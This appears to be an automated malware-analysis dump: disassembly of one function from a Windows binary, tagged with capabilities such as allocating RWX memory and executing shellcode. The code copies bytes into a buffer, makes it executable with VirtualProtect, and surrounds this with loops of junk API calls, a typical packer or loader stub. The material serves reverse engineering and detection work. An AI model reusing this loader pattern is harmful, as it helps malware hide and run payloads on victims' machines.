Function at 0x40385d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x422727
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x154c
call fcn.0040d390
push ebx
push esi
xor esi, esi
cmp dword [0x4d5838], 0x5b1
push edi
jne 0x40392c
push esi
lea eax, [esp + 0x15c]
push eax
push esi
push 0x402dc0
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x1c]
call fcn.00403bda
push esi
mov dword [esp + 0x1568], esi
call fcn.0040476f
pop ecx
call fcn.0040470d
push 0x402e6c
lea ecx, [esp + 0x10]
call fcn.00403430
lea ecx, [esp + 0xc]
call fcn.0040344c
lea ecx, [esp + 0xc]
call fcn.00403492
lea ecx, [esp + 0xc]
call fcn.004034ab
push esi
push esi
call fcn.00404a8c
push esi
call fcn.00404a5d
add esp, 0xc
push esi
call fcn.00404a46
pop ecx
push esi
call fcn.00404d64
pop ecx
push esi
call fcn.00404a46
pop ecx
call fcn.00404b1f
add dword [0x4d5838], 0x1134b
push dword [0x4d5838]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push dword [0x4d5838]
mov dword [0x4d478c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403984
inc edi
cmp edi, 0x4f6a4
jl 0x403964
xor edi, edi
cmp dword [0x4d5838], esi
jbe 0x4039df
cmp dword [0x4d5838], 0xa8
mov eax, dword [0x4d583c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4d478c]
mov byte [ecx + edi], al
jne 0x4039d6
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x402e80
lea eax, [esp + 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc edi
cmp edi, dword [0x4d5838]
jb 0x40398e
xor edi, edi
mov eax, dword [0x4d5838]
add eax, edi
cmp eax, 0xe
jne 0x403a42
push esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
lea eax, [esp + 0xd5c]
push eax
push esi
push 0x402ef8
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x402f90
push 0x403008
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [esp + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc edi
cmp edi, 0x39621
jl 0x4039e1
call fcn.0040373b
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x403a5f
call fcn.00403843
inc edi
cmp edi, 0x6753f
jl 0x403a52
push 0x7b
pop edi
cmp dword [0x4d5838], 0x86
jne 0x403ac7
push esi
push esi
push esi
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0x403020
push 0x403050
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push esi
push esi
push esi
push 0x4030c4
push 0x40303c
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
lea eax, [esp + 0x95c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
dec edi
jne 0x403a6b
push 0x4030d4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0x155c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret